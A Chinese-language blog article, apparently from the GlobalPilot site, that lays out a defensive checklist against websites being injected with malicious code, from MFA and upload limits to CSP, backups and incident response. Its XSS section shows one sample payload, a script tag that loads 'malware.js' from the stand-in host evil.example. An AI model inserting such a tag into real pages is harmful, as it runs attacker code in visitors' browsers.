← All field notes

如何避免网站被挂马:从代码、服务器到监控的实战清单

解释网站被挂马的常见方式,并给出从依赖更新、上传防护、权限隔离、CSP、安全头、备份、监控到应急处理的完整防护策略。

16 min read

如何避免网站被挂马:从代码、服务器到监控的实战清单

网站上线以后,真正的风险不只是“打不开”,还有一种更隐蔽的问题:网站还能访问,但已经被别人悄悄改了。

这种情况常被叫做“被挂马”。

简单说,挂马就是攻击者在你的网站、服务器、模板、插件、静态资源或跳转逻辑里植入恶意代码,让访问者在不知情的情况下被重定向、弹窗、下载恶意文件、加载钓鱼脚本,或者被搜索引擎标记为危险网站。

它对一个网站的伤害很大:

  • 用户信任下降
  • SEO 排名受损
  • 浏览器和搜索引擎可能提示风险
  • 广告账户、支付账户、邮件域名可能被牵连
  • 你自己也很难第一时间发现

很多人以为“网站小就没人攻击”,但真实情况刚好相反。自动化扫描不会关心你是不是大公司,只要你的站点暴露了常见漏洞、弱密码、旧插件、可写目录或错误配置,就可能被批量打到。

防挂马不是买一个安全插件就结束,而是一套长期习惯:

减少入口
限制权限
及时更新
隔离风险
持续监控
保留恢复能力

什么是网站被挂马

网站被挂马通常不是指网站完全宕机,而是网站被植入了不属于你的东西。

常见形式包括:

  • 页面被插入陌生 JavaScript
  • 首页或文章页被加了隐藏链接
  • 用户从搜索结果进入时被跳转到博彩、色情、仿冒页面
  • 服务器多了陌生 PHP、JS、Shell 文件
  • .htaccess、Nginx 配置或路由规则被改
  • WordPress 插件、主题文件被植入后门
  • 上传目录里出现可执行脚本
  • 数据库内容被批量插入广告链接
  • 第三方统计、客服、广告脚本被替换
  • 搜索引擎收录了大量垃圾页面

最麻烦的是,有些挂马只对特定访问者触发。

例如:

只对 Google 搜索来的用户跳转
只对手机用户跳转
只对第一次访问者跳转
只对特定国家 IP 跳转
只在凌晨某个时间段触发

所以管理员自己打开网站时可能一切正常,但用户和搜索引擎看到的是另一套内容。

网站为什么会被挂马

挂马的入口很多,但大多数可以归为几类。

1. 后台账号被撞库或弱密码攻破

最常见的问题是账号。

如果后台密码简单,或者和其他网站重复使用,一旦某个平台泄露密码,攻击者就可以用自动化脚本尝试登录你的后台、主机面板、数据库、FTP、SSH 或 CMS。

高风险行为包括:

  • 后台账号叫 admin
  • 密码短且可猜
  • 多个系统共用同一密码
  • 没有开启二次验证
  • 长期不用的管理员账号还存在
  • 给外包、插件、临时人员开了过高权限

账号安全是最便宜、也最容易被忽视的一层防线。

2. CMS、插件、主题或依赖过旧

如果你使用 WordPress、Drupal、Joomla、Shopify 插件、自建 CMS、老版本 PHP 框架或某些 npm 依赖,版本过旧就会变成入口。

很多攻击不是“专门研究你的网站”,而是扫描全网:

发现某个插件版本有漏洞
↓
批量搜索使用该插件的网站
↓
自动提交 payload
↓
植入后门或恶意跳转

这也是为什么小站也会被攻击。

攻击者并不需要认识你,只要你的技术栈在漏洞列表里就够了。

3. 文件上传功能没有限制

上传功能是挂马重灾区。

如果用户可以上传头像、附件、图片、PDF、压缩包或简历,而系统没有严格限制,就可能被上传恶意脚本。

危险情况包括:

  • 只检查文件后缀,不检查真实内容
  • 允许上传 .php.jsp.html.svg 等可执行或可嵌入脚本的文件
  • 上传目录可以执行脚本
  • 文件名使用用户原始文件名
  • 上传文件直接放在 Web 根目录
  • 没有大小限制,容易被压缩炸弹或大文件打满磁盘

OWASP 的文件上传安全建议强调:应该使用允许列表、校验文件类型、重新生成文件名、限制大小、限制权限,并尽量把上传文件存储在 Web 根目录之外。

4. XSS:页面被插入恶意脚本

XSS 是跨站脚本攻击。

它的核心问题是:用户输入的内容没有被正确转义或过滤,最后变成了网页里的可执行 JavaScript。

例如评论区、搜索框、富文本编辑器、昵称、表单字段、URL 参数,都可能成为入口。

攻击者可能插入:

<script src="https://evil.example/malware.js"></script>

或者更隐蔽的混淆脚本。

一旦脚本执行,就可能:

  • 偷 Cookie
  • 篡改页面
  • 插入钓鱼表单
  • 跳转到恶意页面
  • 模拟用户操作

内容安全策略 CSP 可以降低这类风险。它让浏览器只允许加载指定来源的脚本、图片、样式和连接,减少被注入脚本后的破坏范围。

5. 服务器权限过大

很多挂马不是从代码逻辑开始,而是从权限配置开始。

比如:

  • 网站进程可以写整个项目目录
  • 上传目录可以执行脚本
  • Docker 容器用 root 跑
  • .env 文件可被 Web 访问
  • SSH 密钥、数据库密码、API Key 放在公开目录
  • 多个网站共用同一个系统用户

权限过大意味着:一旦一个入口被打穿,攻击者可以扩大影响面。

安全配置的原则是最小权限:

能只读就不要可写
能写某个目录就不要写整个项目
能用普通用户就不要用 root
能隔离容器就不要混在一起

6. 第三方脚本或供应链被污染

现代网站经常接入第三方脚本:

  • 统计工具
  • 广告脚本
  • 在线客服
  • 表单工具
  • A/B 测试
  • CDN 库
  • npm 包
  • WordPress 插件

这些脚本一旦被污染,也可能影响你的网站。

所以第三方脚本不是越多越好。每加一个外部资源,都是在扩大信任边界。

避免被挂马的核心策略

下面是一套更实用的防护清单。

1. 先减少攻击面

网站越复杂,入口越多。

如果你只是一个个人品牌站、Blog 或工具站,不一定需要复杂后台。

能用静态生成、Markdown、Git 发布,就不要急着上一个带复杂插件生态的 CMS。

例如 GlobalPilot 当前的内容发布方式是:

Obsidian 写 Markdown
↓
GitHub
↓
VM 自动部署

这种模式的好处是:

  • 没有公开 CMS 登录后台
  • 没有在线编辑器暴露在公网
  • 文章内容经过 Git 版本管理
  • 回滚很容易
  • 攻击面比传统后台小很多

不是说 CMS 一定不安全,而是如果你的需求很简单,没必要引入过多可被攻击的入口。

2. 后台账号必须启用 MFA

所有关键账号都应该启用二次验证:

  • GitHub
  • VPS / 云服务商
  • 域名注册商
  • Nginx Proxy Manager
  • WordPress / CMS
  • 数据库管理工具
  • 邮箱
  • 支付平台

密码也要做到:

  • 每个平台独立
  • 使用密码管理器生成
  • 禁止多人共用
  • 离职或合作结束后立即回收
  • 删除不再使用的管理员账号

如果你的域名账户或 GitHub 被拿下,网站本身再安全也没用。

3. 所有依赖和镜像保持更新

定期更新:

  • 操作系统安全补丁
  • Docker 镜像
  • Node / npm 依赖
  • WordPress 核心、插件、主题
  • Nginx / Caddy / OpenResty
  • 数据库
  • 第三方 SDK

但更新不能盲目直接上生产,建议流程是:

本地或测试环境更新
↓
运行构建和测试
↓
查看 breaking changes
↓
备份
↓
生产发布

对于 npm 项目,可以定期运行:

npm audit
npm outdated

对于 Docker,可以定期检查基础镜像和容器版本。

4. 文件上传必须做强限制

如果网站有上传功能,至少做到:

  • 只允许业务必须的文件类型
  • 不信任浏览器传来的 Content-Type
  • 校验文件后缀、MIME、文件签名
  • 重新生成文件名,不使用用户原始文件名
  • 限制文件大小
  • 上传目录禁止执行脚本
  • 尽量存储到 Web 根目录之外
  • 图片可以重新编码再保存
  • PDF、Office 文件可以考虑病毒扫描或沙箱处理
  • ZIP 文件要防止解压炸弹和路径穿越

最重要的一点:

上传文件可以被读取,不代表它应该可以被执行。

上传目录应该是数据目录,不应该是代码目录。

5. 用 CSP 限制脚本来源

CSP,Content Security Policy,是浏览器层面的安全策略。

它可以限制页面允许加载哪些脚本、图片、样式、iframe 和连接。

例如,一个基础方向是:

default-src 'self';
script-src 'self' https://analytics.example.com;
object-src 'none';
base-uri 'none';
frame-ancestors 'self';

这不是万能药,但它可以显著减少 XSS 和恶意第三方脚本带来的影响。

实际部署时建议先用:

Content-Security-Policy-Report-Only

观察哪些资源会被拦截,再逐步改成正式策略。否则容易一次性把网站自己的统计、字体、图片、API 请求也挡掉。

6. 设置基础安全响应头

除了 CSP,还应该配置基础安全头:

X-Content-Type-Options: nosniff
Referrer-Policy: strict-origin-when-cross-origin
Permissions-Policy: camera=(), microphone=(), geolocation=()
X-Frame-Options: SAMEORIGIN

如果网站已经完全 HTTPS,可以考虑 HSTS,但要谨慎:

Strict-Transport-Security

HSTS 配错会影响访问恢复,所以建议确认 HTTPS 稳定后再启用。

7. 用最小权限运行服务

服务器上要分清:

  • 哪些目录是代码
  • 哪些目录是日志
  • 哪些目录是上传文件
  • 哪些目录是数据库数据
  • 哪些文件是密钥

建议:

  • 网站进程不要使用 root
  • .env 文件只给必要用户读取
  • 上传目录不允许执行
  • 容器只挂载必要目录
  • 数据库不暴露公网
  • SSH 禁止密码登录,优先使用密钥
  • 管理端口只允许可信 IP 或内网访问

如果同一台 VPS 跑多个站点,也要避免所有站点共用同一套权限。一个站点出问题,不应该直接影响其他站点。

8. 不要把密钥写进前端

常见危险做法:

  • 把 API Key 写进 JavaScript
  • 把数据库连接串放到前端配置
  • 把服务端 Token 放到公开 GitHub
  • .env.production 提交到仓库
  • 把私钥放到 public 目录

前端能看到的一切,都应该视为公开信息。

对于 Next.js 来说,带 NEXT_PUBLIC_ 前缀的变量会进入前端 bundle。它只适合放公开配置,例如网站地址、公开统计 ID,不适合放私密密钥。

9. 做好备份和回滚

没有备份,就没有真正的安全。

至少备份:

  • 网站代码仓库
  • 数据库
  • 上传文件
  • .env 配置
  • Nginx Proxy Manager 配置
  • Umami / 日志 / 统计数据库

备份要满足三个条件:

定期自动备份
备份不和生产放在同一个风险点
定期演练恢复

很多人以为自己有备份,直到真正需要恢复时才发现备份不可用、版本太旧、缺少密钥或数据库损坏。

10. 监控文件变化和异常访问

挂马越早发现,损失越小。

建议监控:

  • 首页 HTML 是否出现陌生脚本
  • 关键文件是否被修改
  • 是否新增陌生 PHP / JS / HTML 文件
  • 是否出现异常 302 跳转
  • 是否突然产生大量 404 页面
  • 是否有未知管理员登录
  • 是否出现异常国家或 UA 流量
  • 搜索引擎是否收录垃圾页面
  • Google Search Console 是否提示安全问题

对于静态站或 Git 部署站,可以做一个简单策略:

生产文件应该和 Git 构建结果一致
任何手动改生产文件的行为都要报警

如果你的网站是 Docker 部署,容器应尽量保持不可变:更新通过重新构建镜像完成,而不是进容器手动改文件。

11. 配置搜索引擎安全工具

如果你重视 SEO,就应该配置:

  • Google Search Console
  • Bing Webmaster Tools
  • 站点地图 sitemap
  • robots.txt
  • 关键页面监控

Google Search Console 会在网站出现恶意软件、垃圾内容、异常索引时提供提示。它不是防火墙,但能帮助你更快发现问题。

12. 定期检查外部脚本

网站里每个外部脚本都应该能解释清楚:

它是谁提供的?
为什么必须加载?
它能访问什么数据?
如果它挂了,网站会怎样?
如果它被污染,影响范围是什么?

如果一个脚本已经不用,就删掉。

统计、广告、客服、热力图、A/B 测试工具不要无节制叠加。安全和性能都会变差。

被挂马后的应急流程

如果怀疑网站已经被挂马,不要只删掉可疑代码就结束。

正确顺序是:

1. 先隔离

如果确认有恶意跳转或恶意脚本,应先降低影响:

  • 暂停受影响页面
  • 临时切维护页
  • 暂停上传入口
  • 关闭可疑插件
  • 阻断异常管理员账号
  • 保留现场证据

不要急着把所有文件删干净,否则会丢失排查线索。

2. 找入口

要回答:

  • 是账号被盗?
  • 是插件漏洞?
  • 是上传入口?
  • 是服务器权限?
  • 是数据库被写入?
  • 是第三方脚本被污染?
  • 是部署密钥泄露?

如果入口没找到,只清理表面文件,很快会再次被挂。

3. 清理后门

检查:

  • 新增文件
  • 最近修改文件
  • 定时任务
  • SSH authorized_keys
  • Web 根目录
  • 上传目录
  • Nginx / Apache 配置
  • 数据库内容
  • CMS 管理员
  • 插件和主题文件

对 WordPress 这类 CMS,最好用官方源文件重新覆盖核心文件,并重装可信插件,而不是只靠手工删代码。

4. 轮换所有密钥

一旦确认被入侵,应该更换:

  • CMS 管理员密码
  • 数据库密码
  • SSH 密钥
  • GitHub Token
  • API Key
  • 云服务商密钥
  • 邮箱密码
  • NPM / Docker Registry Token

不要假设攻击者“只改了一个页面”。

5. 从干净版本恢复

最稳妥的方式是:

确认干净备份
↓
修复入口漏洞
↓
重建服务器或容器
↓
恢复数据
↓
上线前扫描和验证

如果你不能确认当前服务器是否干净,重建通常比原地修修补补更可靠。

6. 通知搜索引擎复审

如果 Google 或浏览器已经标记风险,需要在清理后提交复审。

同时检查:

  • sitemap 是否正常
  • 搜索结果是否出现垃圾页面
  • 是否有异常重定向
  • 是否有隐藏链接
  • 是否还有恶意脚本残留

SEO 恢复可能需要时间,但越快清理、越清楚提交,影响越小。

对个人网站和工具站的建议

如果你是个人品牌网站、独立开发者网站或小型工具站,我建议优先做到这几件事:

1. 不暴露复杂后台
2. Git 管理所有代码和文章
3. Docker 部署,不手动改生产文件
4. 关闭不必要端口
5. 所有后台启用 MFA
6. 上传功能尽量晚做,必须做就强限制
7. 配置基础安全头
8. 定期备份 .env、数据库和内容
9. 用 Umami / 日志 / Search Console 观察异常
10. 准备一份可执行的应急清单

对 GlobalPilot 这类站点来说,目前比较好的点是:

  • 内容由 Markdown 和 Git 管理
  • 没有公开 CMS 后台
  • 通过 Docker 部署
  • 有健康检查
  • 有 Umami 访问统计
  • 有 Telegram 告警

后续可以继续加强:

  • 更严格的 CSP
  • 定期依赖安全检查
  • NPM / VM 配置备份
  • 更明确的异常页面监控
  • 自动检测首页是否出现陌生外链或脚本

总结

避免网站被挂马,不是靠某一个工具,而是靠一套分层防御。

你要同时控制:

  • 谁能登录
  • 哪些代码能运行
  • 哪些文件能上传
  • 哪些目录能写入
  • 哪些脚本能加载
  • 哪些端口能访问
  • 哪些变化会报警
  • 出事后能否快速恢复

最好的安全状态不是“永远不会被攻击”,而是:

入口少
权限小
发现快
恢复稳
损失可控

网站安全不是一次性项目,而是一种运营习惯。

你越早把这些习惯放进建站流程,后面就越少在半夜处理莫名其妙的跳转、垃圾页面和搜索引擎安全警告。

参考资料

END NOTE

Turn the idea
into a working system.

如果这篇文章正好对应你的问题,可以让 GlobalPilot AI 先帮你梳理需求;我会在 Telegram 后台看到上下文,再判断下一步怎么做最省力。

Ask GlobalPilot AI Read the next idea ↗